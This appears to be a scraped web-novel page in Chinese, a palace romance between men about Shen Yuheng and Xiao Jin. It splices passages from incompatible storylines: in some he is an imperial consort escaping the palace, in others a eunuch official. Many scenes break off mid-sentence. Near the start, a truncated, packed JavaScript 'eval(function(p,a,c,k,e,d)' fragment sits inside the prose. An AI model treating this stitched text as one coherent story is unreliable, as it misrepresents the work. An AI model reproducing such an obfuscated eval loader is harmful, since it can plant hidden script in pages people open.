偏殿里冷清空荡,只有一张供休息的床榻,和一面屏风。 沈听澜把沈玉衡扔进去,嘴角就忍不住向上抽搐。 他,早就想,肆无忌惮地揍沈玉衡一顿了。 奈何小时候在家里,父亲长兄总是顺着沈玉衡。 他要是敢碰沈玉衡一根指头,父亲能把他打的三天下不了床。 他这个三弟不仅好男色,还性格顽劣,自知靠山强大,总是把沈听澜招惹的怒火冲天。 要不是他,沈听澜恐怕也不会像现在这样,天天宿在外面,不归家也不成家。 沈玉衡看沈听澜笑眯眯地靠过来,有点发怵:“二哥你……你想干嘛?” 沈听澜笑:“我想揍你。” 沈玉衡:“……” 这么直白,这么露骨的吗? 大丈夫生于天地之间……自然是能屈能伸。 “二哥,从前是我不好。”沈玉衡光速道歉:“我今年也才十九,从前年纪更小的时候,犯过许多错,二哥大人有大量,千万别生气伤了自己。” 沈听澜一愣。 他知道沈玉衡是为了自己,委曲求全,可是…… 沈玉衡居然会委曲求全?还向他道歉? 他震惊怀疑不可置信,嘴唇开开合合,过了十几秒,忽然气笑了。 他问:“你……在宫里过的很不好?谁把你欺负了?那个九皇子吗?” “还行。”沈玉衡干巴巴的语气:“九殿下……也还行。” 看沈玉衡这么遮遮掩掩的,沈听澜更确定心里的想法了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【这个、穿书局里确实发生过这种情况……但是我就职以来,工作一直完成的很好的!】 系统支支吾吾:【所以,应该不可能吧?】 “……好吧,信你一次。” 沈玉衡整理一会心情,准备出去寻找萧烬的时候,殿外突然传来一阵奇怪的动静。 似乎有人在廊道里嬉戏,声音低沉而断续,夹杂着男女间暧/昧不明的耳畔低语,时而传出隐忍压抑的喘声,在寂静的屋檐下显得格外刺耳。 沈玉衡几乎是瞬间意识到,他们在做什么。 宫宴期间,偏殿通常是让一些烂醉如泥的官员们临时就寝的地方,也有人会偷偷带人进来。 可是今夜,沈玉衡特意让周源他们留意,不要让闲杂人靠近这里,怎么还是…… 屋外的嬉闹声越来越高昂。 “遥娘……” “殿下,不可……” 殿下?这淫贼还是个皇子? 沈玉衡不想撞破谁的好事,暧昧声逐渐逼近,他刚想翻窗出去,门扉却已经被打开,漏入一丝月光。 糟了。 沈玉衡怔愣的瞬间,忽然感觉到一只骨节分明的大手覆住他的脸,滚烫的呼吸全都被他冰凉的掌心吞噬。 甚至来不及反应,他整个人就被拖入了一个狭窄的空间。 ……衣柜? 沈玉衡被禁锢在那人的怀里,刚想抽身,立刻就被他死死捂住了嘴。 他发不出声音,只能够嗅到那人肩头侵略性的霜雪气息。 过分亲昵的距离让他下意识想退后,可是这里窄到退无可退…… 他抑制着轻声颤抖的嗓音,在他掌心的禁锢里模模糊糊问了声:“谁?” 慌乱中,那双手从身后按住了他的腰,力道大到几乎让沈玉衡快被碾碎了骨头。 那人听见沈玉衡的痛呼,似是发出了一声餍足的喘声。 这tm……变态啊??? 他刚要使劲挣扎,忽然,异热的呼吸拂过耳廓。 那人近乎贴着他的脸颊,微颤的尾音,透着无边的恨意,捻出几个低哑的字眼:“母妃……” 沈玉衡的瞳孔,猛然收缩。 “是我。” 萧烬掐住沈玉衡的手,逐渐下滑到脖颈,触碰到他不断鼓动的脉搏。 与此同时,那对交缠的男女,也推门而入,摔上了殿内的床榻上。 50-60 第 51 章 第 51 章 51 一只有力的手抓住沈玉衡的袖袍,把他一瞬间就拖入了宫门内。 沈玉衡几乎是跌进了那扇门里,他还没站稳,周源就狠狠把门拍上,挂锁的动作快到看不清影子。 他年纪不大,但一直都是清濯殿里最稳重镇定的一个,沈玉衡从没见过他急成这样,脸颊底下都挂着冷汗。 “沈妃,这边走!” 沈玉衡被周源领到一处偏殿,这里和外面一样,荒废了很久,墙上有几块砖石格外松动。 周源抓住沈玉衡的手臂,教他侧身挤出去。 “先帝制定的宫规宽松,太监宫女平日经常走小门进出,眼下先帝驾崩,大家胆子小了一点,很少有人再去那里。” “苏才人帮您和沈家的人联络上了,只要一出去,应该就能遇到接应的人!” 沈玉衡退后一步:“你给我指条路就行,我自己去,不牵连你们。” 周源好像早就知道他会这么说,冷静地抓住他不松手:“沈妃,您现在耽误不起这个时间,往前的路,走错一步都会粉身碎骨。我没爹没娘,就一个弟弟还是傻子,不到十岁就被卖了,也不知道是死是活。偏偏我还当了太监,活到老也是断子绝孙的孤单命,万一出了事,我也不后悔。” “您对我好,让我在宫里过的潇洒,这一年我过的好日子,别人一辈子也过不起一天。我周源除了这条命,也没有别的可以回报的了。” 说完,周源继续拽住他,就算是拖也要把他拖出去的架势。 沈玉衡咬住牙,眼睛有点红,但他知道自己不能在这里停下。 他们在偏僻的宫道里奔跑起来,刮过他耳边的冷风冷雨,冻得人遍体生寒- 角先生泛着朦胧的油光,脂膏盒半开着,里面被挖掉了好大一块——这两样东西从昨晚被囫囵吞塞进抽屉里以后,就没被人动过! 多鱼大气不敢出一个,闭着眼睛假装自己是个瞎子。 沈玉衡两眼一黑,脸色忽红忽白,把烫手的蜡烛和那些污秽玩意儿扔到一处。 “嘭”得一声,踢合抽屉。 世界再次恢复清清白白的模样。 沈公清了好几下嗓子,这才若无其事地把木案接手过来。 只是那双凤眸犀利如刀,对着多鱼疯狂捅着。 仿佛出现这般尴尬的事态,全怪这下属办事不力,连房间都收拾不干净。 多鱼小公公汗毛倒竖,心里头冤声震天:他昨日自然是找过这两个东西的,但谁能想到关在这处啊! 这抽屉都是用来放账本、私房钱、体己物的! 哪有把用过的脏东西给放进去的,谁知道沈公这么埋汰啊! 如今还把那半截蜡烛都放进去了! 到底是什么爱好,还有这蜡烛……沈公难道真的用来……? 多鱼公公不敢再多想。 可沈公的眼神又着实吓人。 多鱼沉不住气了,“嘭”得一声跪下,先发制人地夸了起来:“恭喜沈督公,如今任职京营提督,圣上对督公真是宠信有加!连先帝对沈广公公都没这么爱重!” “奴婢能跟着沈督公,实在是祖上有幸,如天之福!” 好一通顺溜的吉祥话。 却叫沈督公听得心惊肉跳。 他心虚地看着萧烬,仿佛他是颗出了墙的红杏一般。 ——多鱼刚才言之凿凿得在他家少爷面前提了圣上,还说圣上宠信他…… 这不就等于明明白白地告诉他家少爷:玉衡现在已经成了皇帝的奴婢了么! 这多鱼真是好算计! 为了巩固少爷的宠信,竟这般给他穿小鞋! 沈公的脸又黑了,五光十色地黑着,咬牙切齿道:“出去!” 多鱼哪知道他又犯了什么忌讳,静若寒蝉地站起来,应道:“是。” 小宦官埋着头飞快后退,准备溜之大吉。 “等等。”沈玉衡生硬地道:“让多贤给下人们发赏钱,多发一个月的月例。” 多鱼立时又忘了沈公的黑脸,喜笑颜开起来,笑道:“是是,小的去告诉多贤。” 他手舞足蹈道:“多谢督公,督公吉祥,节节高升。”他退到门口,又试探着补道,“萧公子吉祥,福寿绵长,身体安康。” 沈玉衡面色柔和了下来,淡笑着挥挥手,道:“下去拿赏钱吧。” 多鱼应了一声,保持着喜庆的面容走出屋外,关上关门。 他几步离开里间门扉,轰然蹲到地上,捂住胸口。 多鱼心中惊涛骇浪,叹道:咱家真是开了眼了!平生第一次见到督公笑得这般…… 这般花痴……! 他不由揣测起来:萧公子到底和督公是什么关系!怕不是那种……那种禁断的主仆关系! ——两人曾经相爱相守,却被萧公子的长辈发现,棒打鸳鸯。 之后萧公子被迫嫁入深宫,沈公痴心不悔,自宫追随,成为权倾朝野的沈大伴。 如今沈公救出了萧公子,便是两人再续前缘之时! 多鱼已经被这段爱情深深地打动了,又浮想联翩地编了好长一通话本,起承转合,章章精彩。 小公公闭起眼睛,抖了抖身体。 他想:咱家小小的身躯,真是承载了太多的秘密! 小多鱼如何编排他的两个主子暂且不说,沈玉衡见屋里又没了外人,便专心致志地伺候起他的主子。 高大的小郎君面上露出温柔的笑意,细心搅凉着手里的汤药。 萧烬饶有兴味地盯着他看,纤长的睫毛扑闪扑闪:“怎么笑得这么高兴?” 沈玉衡被看得面色微红,嘴上正正经经,天经地义地道:“少爷就应当多被说些吉祥话,千福万福,就能长命百岁了。” 他吹凉一口药,递送进萧烬的嘴边,柔声低语:“少爷定能长长久久地活着,此生都无病无灾,无忧无愁。” 萧烬笑着瞥他一眼,不和这人谈论寿数之事,垂下眼眸乖乖地张嘴喝药。 他向来是不挑食也不挑药的,只是药物苦涩却不可避免。 萧烬喝了几口,被苦得舌根发麻,缓了缓气,闲谈道:“听闻你不能置产,那我之后要是得搬出你的府第,是不是会有些麻烦?” 沈玉衡轻手轻脚地将萧烬唇边挂着的汤药刮去,又吹了一勺递上:“不会,我给少爷落了户,宅子直接买在少爷的名下就好,到时候少爷搬进去,就是宅子名正言顺的主人。” “对了,少爷的户籍我已在办了,颍州前几个月闹饥荒,逃荒来京的人有不少,很好操作,办下来还是良籍。” 他说起良籍语气稍有雀跃,淡淡笑着问道:“只消取个名字就能办好了,少爷如今要化个什么名姓?” 萧烬喝完了最后一口汤药,被沈玉衡塞了个蜜饯进嘴里,甜滋滋的。 他用舌头拌着蜜饯,轻快地道:“就落个‘阿祜’的名字吧。” 沈玉衡收拾碗筷的动作一顿:“这是少爷的表字,若是落这名,便是市井小民也能随意叫唤……”他不太认同这个做法,小声地嘀咕道,“这如何使得……” “祜之,赐福之意。”萧烬淡淡笑道。 他拌了几下嘴里的蜜饯,品着离宫后的第一口甜,仿佛连舌尖上的伤口都不疼了。 萧烬语调轻松:“许是之前也没几人叫过我的字,这才命运有些多舛吧?”他轻轻用牙齿嗑果肉,嗑出一些甜汤来,笑眼盈盈,“若是今后多被人叫唤几声,想必就可以增加一些福运。” 萧烬进宫前久居小院,亲友极少,从前只和玉衡住在一起。 玉衡作为下人不配称呼萧烬的表字。 “祜之”这个字,便一年到头罕有人叫。 再好的寓意,也只成了个空空的念想。 沈玉衡的心头像是被揪了一把,他应声道:“都听少爷的,便叫阿祜,那么姓氏呢?化作哪家姓?” “就单一个阿祜。”萧烬抿了抿唇,笑容浅淡,眼睫低垂,轻轻抖动着:“如今孑然一身,天地为父,便只叫阿祜吧。” 沈玉衡轻柔地替萧烬擦了嘴,应道:“是,少爷。” 萧烬喝完了药,瞌睡就来了。 他嘴边冒出一个小小的呵欠,又缓缓地眨了眨眼睛,驱散一些困意,笑道:“那……玉衡,你先叫声阿祜让我听听。” 沈玉衡如临大敌:“少爷,这使不得。” 萧烬也不强迫,只是冶冶笑道:“曾经让你唤声祜之听听,也没能成功……” 他刻意长长地叹了一声,目露忧伤,哀哀切切地道:“这声我家玉衡唤的阿祜,许是黄泉碧落之间也听不到了吧?” 沈玉衡明知他家少爷是故意使坏,耳朵尖还是红了一圈,心头酸涩与紧张搅成了一团。 他薄唇微张,紧紧合上,脸色慢慢地红成了胭脂色,才声如蚊讷地唧咕。 “……阿祜。” 萧烬听得心满意足,笑颜如花:“嗯,确实好听。” 他这才收了逗弄的心思,结结实实呵欠一声,猫儿似得把四肢舒展开来,叹道:“我有些困倦,想要睡了,你替我拉上纱幔,把灯熄了吧。” 沈玉衡头顶热得已是快要冒烟。 他闻言如蒙大赦,尽心尽力地伺候了起来;勤劳地将萧烬的被炉、汤婆子换新,又给主子掖好被角,盖上毯子,收拾了床榻。 沈玉衡放下床帘,温情脉脉:“少爷,安歇。” 萧烬迷迷糊糊地闭着眼,闻言掀开一线眼帘:“玉衡,你也早些歇了。”他含糊地道,“还有伤口要……” 话没说完,便已沉沉睡去,打着甜鼾。 沈玉衡目光温柔,轻手轻脚地检查了一下萧烬的口腔,见蜜饯已经被主子吃完咽下,便不用担心半夜会被呛到窒息。 他这才放下了心,轻手轻脚地将烛火全都吹熄。 月色透亮,夜幕低垂。 屋内只剩萧烬深深浅浅的呼吸,和猫呼噜一般的可爱鼾声。 沈玉衡在屋外随意地抹了伤药,又回到里间,合起门扉。 他走向室内的矮榻——四四方方的一小张,简陋粗糙,是专给主家小厮睡得地方。 人高马大的沈公将自己挤上小榻,长手长脚蜷缩起来,侧躺在上面,专注地盯着主床的位置看。 他的少爷就睡在那里。 和六年之前一样,他在榻上守着少爷,只要少爷一声召唤,或是有些动静,他就能及时前去照料。 阿祜。 祜之。 他的少爷,天保天祜,一定会长长久久、安安稳稳地活着。 沈玉衡心满意足地合上眼睛,只觉这六年来,他从未有一日的睡眠如同此刻这般踏实安稳。 就在这小榻上。 就在萧烬的身边。 ………… 夜色渐浓。 熟睡的沈玉衡骤然睁眼,凤眸寒光四色,凌冽如霜! 他突然想起来—— 角先生、脂膏、还有蜡烛!全都还在那个抽屉里! 沈督公一个鲤鱼打挺,从床榻上弹了起来……然后蹑手蹑脚地把那些脏东西从抽屉里扒出来;半点声响也没发出,拿了东西就往袖子里狂塞…… 他做贼似的取了物件,又蹑手蹑脚的出了屋门,道貌岸然地越过多鱼,走向屋外池塘。 然后他“哐”得一拳打在冰面上,徒手凿了个洞。 沈公手腕一抖。 “噗通、噗通、噗通”三声。 袖子里的东西全都进了沈宅的池子。 沈玉衡扬眉吐气:早就该把这些玷污了少爷的脏东西给沉塘了! 如今少爷就又是清清白白的良人,再和这些腌臜事没有关联! 寒夜之中,沈公嘴角挂起笑容,洁白的牙齿,阴恻恻地反射着月光。 在远处围观的多鱼眯起眼睛,心惊胆战。 他心想:沈公这是多重的占有欲!连角先生都扔了!这不是一次性的用具啊! 这很贵,能多次使用的! 他一头栽回屋里,假装没有发现任何秘密,又控制不住地想:沈公该不会之后就要抓着宋太医,让宋太医给他还阳了吧?! 沈公啊!这不现实啊! 做公公还是要认命! 相信角先生,原谅角先生,重用角先生吧! 留下这两个字,周源的声音消失在越来越急的雨势里,那几个太监也翻不过墙,只能追逐起周源。 听里面的动静,周源是跑了,可是以萧烬的脾气,他……可能会放过周源吗? 沈玉衡心里一阵难受,他刚刚还在畅想和周源称兄道弟的情景,最后却只有他一个人逃了出来。 岳枫皱着眉头扫了一眼沈玉衡,其实他对沈玉衡没意见,可是自从进城之后,他就没遇到过一件好事。 岳临那边战事不利,那些外族手段太阴,拿百姓当人质。而他这边还要营救沈玉衡,被发现了,他和他哥的脑袋都保不住。 自从父亲死后,是他哥把他带大,他们要是死了,岳家就完了。 所以看到沈玉衡为一个太监伤心的样子,他心里突然升起一股无名火,想不讲道理地骂醒他。 然而沈玉衡却率先拍了拍脸,啪啪两声,脸颊烫了,人也清醒过来了。 不需要谁来提醒,他也知道自己不能浪费周源的好意。 沈玉衡接过岳枫递来的缰绳——竟然是沈云璟秋猎时送他的那匹漂亮的小白马。 沈玉衡翻身上马,跟着岳枫跑出去的瞬间,他匆匆看了一眼身后。 隔着雨幕,他看见,刚才还难以攀越的红色宫墙,已经在视野里变得越来越远,越来越小。 第 52 章 第 52 章 52 皇宫附近意外的安静,没有看守,没有巡视,一路上异常通顺。 以前,沈玉衡几次出宫,一直是坐在萧槐那辆奢华沉重的龙辇里。 龙辇走的很慢,但无论走到哪里,周围都是热热闹闹的。不像现在,大雨如注,京城宽敞平整的大道上,居然连半个人影都看不见。 沈玉衡甚至有一种感觉,这场来势汹汹的大雨隔绝了一切阻碍,让他可以畅通无阻地跑出城外。 但是,现在还不行,沈玉衡还有一件最最重要的事要做。 “岳将军,麻烦带我去一趟沈家。” 沈玉衡太了解萧烬的那点手段了,自己要是就这么逃了,萧烬肯定不会放过他的家人。 沈玉衡清空了肚子,将自己重新收拾整洁,慢慢地往纯昭宫的寝殿走去。 他是从四年之前开始伺候景裕的,那时沈广把他带去纯昭宫,让他伺候在宫中近乎查无此人的三皇子。 那时的景三郎信他赖他,沈玉衡护主受罚,景三郎就趴在他的身边哭了一夜。 后来沈玉衡监军去了边关两年,回京之后他成了先帝的中贵,景裕就变了;越发得粘他闹他,总是多疑多虑。 景三郎生怕沈玉衡要一心去做先帝的奴婢,留他一人在纯昭宫内自生自灭。 然而他作为一个不受先帝重视的皇子,也没有母妃维护,在宫中的地位,是万万比不上沈中贵的。 无人问津的皇子在那时即便是无理取闹,也是怯怯的,撒娇的,满是不安地求着垂怜。 如今景裕成了皇帝,昔日受的那些委屈、担惊受怕倒是全都爆发了出来。 ——不仅把沈大伴当机械牛马来使唤,连个好觉都不让人睡;还要填鸭般地折腾人,一遍遍确定自己主子的地位。 沈玉衡这些日子过得不好受。 但到底也是各取所需的交易,他需要景裕这个皇帝的庇护和宠信,便也要付出相应的代价和尊严。 像萧烬这样十全十美的主子,就是千千万万人里,又如何能再找到另一个呢? 况且遭受景裕的这些小手段,对沈玉衡来说算不得什么。 ——比不上萧烬在冷宫里日日挨饿受苦,也比不上行军打仗时身上带伤,饥寒交迫,还要为了活命拼死一搏。 沈玉衡走进殿内的时候,景裕已经换上了常服,脱下冠帽,端端正正地坐在书案边。 少年天子衣着精致,手上捏着秦屹知给的破毛笔,写下线条劈锋的大字。 写完一字还要美滋滋地笑上一笑。 沈玉衡心中升起了一些期盼:希望秦屹能知伺候景裕勤勉一些,好早日让天家有了新人,忘了旧人。 这日夜被惦记的福分,秦侍郎喜欢便都拿去吧。 景裕写了两纸大字,破笔本就稀疏的毫毛又掉了几根。 小皇帝这才心疼了起来,叫唤道:“沈玉衡,你快帮我把这笔洗干净,收起来。你小心些洗,莫要洗坏了,再寻个玉匣子收好。” 沈玉衡恭敬地接过笔:“是陛下。” 沈大伴走到殿外,寻沈多福打了盆水,小心翼翼地亲自洗了两遍。 笔上的毛又掉了一些。 但这笔本就破烂,秦屹知送的出手,景裕也敢拿来用,沈玉衡就是洗坏了…… 洗坏了,他这做奴婢的就是犯了大错。 沈玉衡只好轻手轻脚地伺候毛笔,捋着笔头,将染了色的兼毫聚锋。 边上立刻来了个小宦官,递上玉匣和沈公托他取来的叆叇。 沈玉衡将毛笔置入匣中,伸手拿过碧绿色的叆叇。 ——这是他在玉夷那边打来的战利品,回京之后便上缴给帝王,收进了国库里。 这是副玉绿色的细边叆叇,里头的水晶镜片莹亮通透,有腿有链,装饰似得,十分精巧。 摸起来也是触手温润,据说这绿色的料子是用灵犀的犄角,常年佩戴可延年益寿、避祸纳福。 不论是外形还是功效都正适合他的少爷,仿佛就是为了萧烬量身而制的一般。 沈大伴面容微动,将叆叇仔细收进袖袋里,心神已是飞扬,只想寻个机会溜回府第。 好卖弄他寻来的宝贝,向少爷邀些疼宠。 之后景裕又写了一会大字,沈玉衡便随侍左右,研墨端茶。 小皇帝在有人陪伴时耐心极好,也极能折腾,虽然把沈玉衡使唤来去,也满打满算地做了一个时辰功课。 景裕写下最后一撇,把笔一搁,高高兴兴地道:“朕多做了好些功课,明日先生定要好好夸朕的!” 他过了会,有叹着气靠到了桌上:“唉,朕不想议政,那些老头好烦……朕只想多多地和先生学习课业。伴伴你知道吗,先生授课极其有趣,讲读释义绘声绘色,针砭时弊,比以前的太傅不知好上几许……” 沈玉衡垂眸收拾桌面:“陛下勤勉好学,是大虞之幸。” 他将笔头清洗,又将纸张收齐,不冷不热地奉承道:“议政枯燥,却是国之根本,百姓之志意,国与民全靠陛下宵衣旰食,方可运作,陛下辛劳,功在千秋。” 沈玉衡说起话来,向来是这样淡然置之的语调,却让人听着格外真诚,没有谄媚之色。 他给天子奉了杯热茶,排忧解难道:“若陛下觉得烦闷,不若让秦侍郎夜间留在宫内讲学,陛下自习的时辰用于听讲勤学想来所获更多,助益更大。” 景裕接过茶杯,眼睛一亮:“这主意不错。”他透过轩窗看着外头月色,兴致勃勃地道:“恰巧朕还未看过朕的皇宫究竟是何模样,多么宽广奢华……” 小皇帝扬了扬下巴:“大伴,备辇,陪朕走上一圈,顺道给先生挑个宫殿。左右朕也没有后宫,暂且给先生寻个好地方住着,省的他家里皇宫得来回跑了。” 沈玉衡低着头,恭恭敬敬地应下。 “是。” - 近百人的队伍浩浩荡荡出行。 景裕坐于辇上,八面垂帘,遮风挡雪;他身上穿着大氅,手上捧着熏炉,脚边生了火炉。 天子舒舒坦坦地享受着鹅毛大雪之中,前呼后拥,从者如云的畅快滋味。 沈玉衡随侍在侧,边上还有沈多福、多金这两位內侍一道陪同。 夜色浓重,除了抬轿的內使之外,几乎人手提了一盏绛纱宫灯,明明晃晃,将辇队照成一弯宫闱内的火龙。 队伍行至后宫那边,先帝的后妃早已全部移居去了别处,与太后住在一起;景裕则要到及冠才会选秀。 如此一来,西宫现今空空荡荡,再不复往日莺莺燕燕、争相斗艳的喧闹之竟。 沈玉衡在雪中仰头,望着大红的宫门,广阔的匾额,抬脚跟随轿辇步入后宫。 景裕在辇之上若有所感,侧着身子,居高临下地唤道:“伴伴,往后朕的皇宫,你哪里都去得,便是后宫、国库、寝殿,有人拦你,你就亮出墨敕鱼符,再有人拦,朕就治他的不敬之罪。” 沈玉衡沉声道:“谢陛下。” 灯火之下,沈玉衡腰间挂金鱼袋,墨敕鱼符便在鱼袋里左右晃动,敲击着鎏金香球。 清脆声响与浓郁芳香一同摇曳,悠悠飘扬到景裕的身边。 少帝心头满意,轻笑一声,又扭过头去,沉浸在走马观花之中。 曾经威严神秘的宫闱,已全部成为专属于他的领地。 二十八个长随共抬龙辇,五十几盏宫灯煌煌耀耀,将四周映照得火树银花。 景三郎的视野高了、远了,才真正地察觉出宫中的一步一景、美轮美奂来。 他逛了几个宫,忽然问道:“沈多福,此处是哪里?怎么这般萧瑟。” 沈多福答道:“陛下,此处是清凉宫,先帝萧凤止居住的宫殿,那萧凤止惹了事,之后这儿便成了冷宫。” 景裕“哦”了一声,兴致缺缺:“差人整理翻修了,去别处吧,这儿没什么好瞧的。” 他看了看四周,没见着沈玉衡的人影,哼笑一声:“哈哈,伴伴他掉后头了,朕的伴伴是真的没来过后宫,到处都瞧着新鲜。” 他随口一说,倒也不急着把沈玉衡召回来随侍。 毕竟伴伴日日都能陪他,宫殿他却是第一日游赏。 沈大伴却并非如景裕所说的那般,掉了队,看眼花了眼。 沈玉衡只是忽然之间…… 寸步难行。 他曾经苦心焦思而不得入内的宫殿,如今,一步,两步,便跨了进来。 他只消抬个脚,轻而易举。 可又不只是抬个脚…… 他跨过的是,是冬夜一般漆黑、漫长的六年。 清凉宫。 他不曾进来过的清凉宫。 这里是他惊鸿一瞥之后,连做梦都想进来的清凉宫—— 数烬寒天,银砂空舞,此地积雪深厚,几乎没过高大来客的膝盖。 举目所见,是冷宫之内的草木萧疏,松柏倾颓。 沈玉衡手中的绛纱灯晃晃而过,宫墙脱漆,树木缺皮;全无其它宫殿内琼枝玉树,月白风清之景。 沈玉衡动了动脚踝,磕碰到“叮铃”一声,他俯身拨开雪地,正见半碗米饭躺在白雪之中。 他又拨了一拨,肉眼可见宫门口的地上染着许多脏污,像是米饭也像是油渍,层层叠叠,即使在冬日里都有种黏脚的腻感。 他拳头握紧,越过宫门,走向里面。 古旧的井边,放了一个个木桶、容器,积雪早已满溢,几乎要把这些物件包裹成雪堆。 四处罕无人迹,哪怕曾经有那么一个人,切切实实地在此处活着,连日大雪,也早将一切掩埋无踪。 主殿之内…… 沈玉衡向里头望了一眼,灰尘仆仆,寒气刺骨,显然久未住人。 他走到小厨房的边上,才见到了一些生活的痕迹。 从窗外望去,柴房被清扫了出来。 里面有张小榻,地上放了个铜盆,碳火早已熄灭,满地都是灰烬。 ——想来是因为此处狭小,睡起来更暖和一些,萧烬便定居于此。 沈玉衡抬脚跨入柴房,屋内家具稀少,除了床榻便是小桌。 塌上堆了些衣物,被褥有两床,其中一床十分熟悉,便是五年半前他塞给少爷的那床。 灰不溜秋,潮得发寒,却也没被少爷丢弃,或是拆了用做它途。 桌上的物件东倒西歪,应是灌鸩酒时经历了一场骚乱。 蜡烛歪倒在地,两本医书也落在桌脚边上。 沈玉衡俯身捡了起来,其中一本直接散了架,灰尘四散,呛得他闷咳了两声。 如此可见,萧烬的眼睛坏了至少有一两年的时间,才连喜欢的医书都许久未看…… 他将书页稍稍堆齐,放下之时见有一块布团就在边上,硬硬的一个,周围有圈收紧的痕迹,被破碗里的水渍浸湿了一半。 破碗横倒着,碗口缺了一角,破口处有些暗红血迹,碗底里留了些澄澈的汤水。 沈玉衡凛目一瞧,见有些药渣沉淀其中;可这半点颜色也没的液体,任谁也不会把它认做是药汤。 他又回想起了逢力的话:“太平十年春天到太平十一年冬天……给他碳火、药材……” 少爷就是靠这样一遍遍地把药味都煮没了,反复喝着毫无功效的药物,才撑过这疾苦的一年,熬到了今日…… 他的少爷,在冷宫里苦熬的日子,会想什么? ——会不会觉得自己早已被世人抛弃遗忘,会不会觉得玉衡背信弃义,另投明主;才使得萧烬独自一人,年复一年,在冷宫中衣不蔽体,饔飧不继,百死一生。 沈玉衡愁肠百转,凄入肝脾,慢慢蹲了下去,扶起倒在桌边的小凳,轻轻坐下。 木椅松散地摇晃着,发出令人牙酸的“吱呀”声响。 月色朦胧,风刀霜剑、漫漫大雪侵入屋内。 银花在半开的轩窗前积起一滩薄雪,也有一些落在了桌上,落入了面前的药碗里。 沈玉衡垂眸望着陈旧萧瑟的桌面,眼皮子下沁出一滴泪来,正落在那碗稀薄的汤药里,荡起些许涟漪。 他想:我终是进来了,虽是,晚了一些。 ……也还好,不曾太晚。 他伸出被冻得有些僵直的手指,抬手把那点冷却的药底饮下。 ——此处是昔日的伤心地,却也不会再成为他与萧烬的噩梦。 前头的灯火已不明晰,远得恍若天边,映照得清凉宫更加凄清。 半人高的杂草随风而倒,露出被随意堵上的狗洞。 沈玉衡回望一眼破败的小屋,萧颓的宫殿,起身离去,跟上景裕的轿辇。 他舐着嘴里的些微苦涩,饮鸩止渴一般地不停吞咽。 “沈广……” ——害了他主子的人,他势必要报回这份苦难。 ——不死不休! 他一口口喝着碗里的酒,突然听见旁边传来一阵急促突兀的马蹄声。 那马蹄声又快又急,很快近到了所有人都觉得奇怪的程度,夜间不行军,传令兵才刚刚上路,不该有马蹄的声音才对! 下一秒,沈玉衡就看见了骑马的人。 那人几乎是毫不犹豫地冲到了他近在咫尺的距离,要不是岳枫把他扑到一边,沈玉衡险些被那副马蹄踹到破相。 然而,身份未知的骑马者并不是要杀他,也不是要破坏什么东西。 那人披着一身黑衣,朝他们扔过来一个不轻不重的麻布包裹,完事后立刻掉转马头,留下一个疾驰而去的背影。 岳枫迅速下令:“追!别让他跑了!” 沈玉衡撑着膝盖慢慢沾了起来,眼睛钉在那个漆黑的布袋上。 从布袋里,逐渐渗出赤色的液体,染红了周围的土地。 刚刚才被他封存的不安与恐慌,瞬间又蔓延开来。 第 53 章 第 53 章 53 岳枫很快也注意到这袋东西的异样,他拎起那袋东西,看了眼沈玉衡:“要不要闭眼?” 沈玉衡嘴唇苍白,抿了抿:“……不。” “好。” 岳枫把袋子一反,一个软趴趴的硬物“啪”一声落在地上。 沈玉衡感觉视线像地震般一晃。 那是一截断掌。 断口切割的相当平整,血迹未干,不断流出一缕缕新鲜的血液。 “不对。”岳枫蹲下来,皱着眉头摆弄了一下这截断掌:“这不是你父兄的东西。” “从京城到这里,最快也要四五天时间才能赶到,怎么会血迹不干?” “而且,这手一看就是做粗活的,你那个二哥成天喝酒享乐,怎么可能会有这么粗糙的手。” 沈玉衡嗡嗡作响的耳朵很慢地传入岳枫的话,他忍住恐惧拿起那只断手摸了摸。 粗糙的像是干涸龟裂的大地,骨头也特别粗,和二哥的手一点都不一样。 他缓缓松了一口气,心却还是悬着的。 沈玉衡的沈太监第被多贤清扫得十分干净,宅邸内、尤其是主院的仆役各个都一心只向着沈老爷。 什么话该说,什么话不该说,仆役们心里门儿清,言行举止严格得堪比大内之中。 外头人想要探知沈宅内的信息,也就变得极为困难了,连东厂的人混进去都能被多贤给揪出来弄死。 沈玉衡本人还尤其神秘,除了熏香之外,再无其他爱好,出行简朴,也不近美色、不爱钱财。 沈广探查不到沈玉衡府第里的秘密,也摸不透沈玉衡真正的喜好,便少了些拿捏沈玉衡的筹码。 于是就有了沈丰这个做干儿子的,拿了圣旨硬闯沈玉衡屋子,想要一探究竟的这出戏码。 沈丰公公好不容易正儿八经地进了此地,自然一丝隐秘都不舍得错漏。 他东张西望得好生打量了一番,最终目光炯炯地盯着床榻直瞧。 沈玉衡移动步子,用宽阔的肩膀严实地遮挡住沈丰视线,面色不虞地道:“义兄,即便你带着圣旨前来,也没有擅闯咱家卧房的道理。” 沈玉衡说话间漏了几分森森的杀气,沈丰却也不是个吃素的,做阉宦做得出彩点的,谁没风里来雨里去过。 胖公公是是半点不惧,油光水滑的脸上甚至还挤出了笑容,拍拍沈玉衡的胳膊,哥俩好地道:“嗐,咱们是什么关系,打断骨头连着筋的兄弟,哥哥也不和你搞那些虚的,亲自给你把圣旨拿进来了。” 他说着拿出了兄长的架势,越过干弟弟就往里走,嘴里面啧啧称奇:“宫里都传你不近美色,哥哥还以为是真的呢,原来弟弟也不是真的断根绝爱了,是藏了人在屋子里头里疼着呢……” 他刚越过沈玉衡的身侧,就被后者一把拎住了手臂,沈玉衡比寻常阉人低沉的声音冷冷响起:“沈丰,你自重。” 沈玉衡的手劲极大,但也拿捏了分寸,没有伤到宣召使。 沈丰自然是知道这点,更加得有恃无恐,想要带点消息给义父。 他拨了拨沈玉衡的手指,没能拨开,便死皮赖脸地伸出个手去够床帘、往床边蹭,笑嘻嘻地道:“哎呀,让哥哥瞧一眼美人的模样,若是个可人的,就借哥哥回去玩两天。” 沈玉衡凤眸里闪过一点鲜红,手腕使劲扭转,将沈丰压制在了身旁;既控制住了沈丰的动作,也好叫这人别再污言秽语地侮辱他家少爷。 沈丰的手臂被拧到背后,痛得嗷嗷直叫。 他又挣脱不开,情急之下扬起圣旨,叫道:“放手,咱家是来传召的,你打了咱家,是要不敬天子吗!” 这可真是好算计,刚开始胡搅蛮缠,把消息打探到了人家床上,惹得主人家生气反击,又给人扣上一顶不敬天子的帽子。 左右都得是对方吃瘪,打碎了银牙往肚里咽。 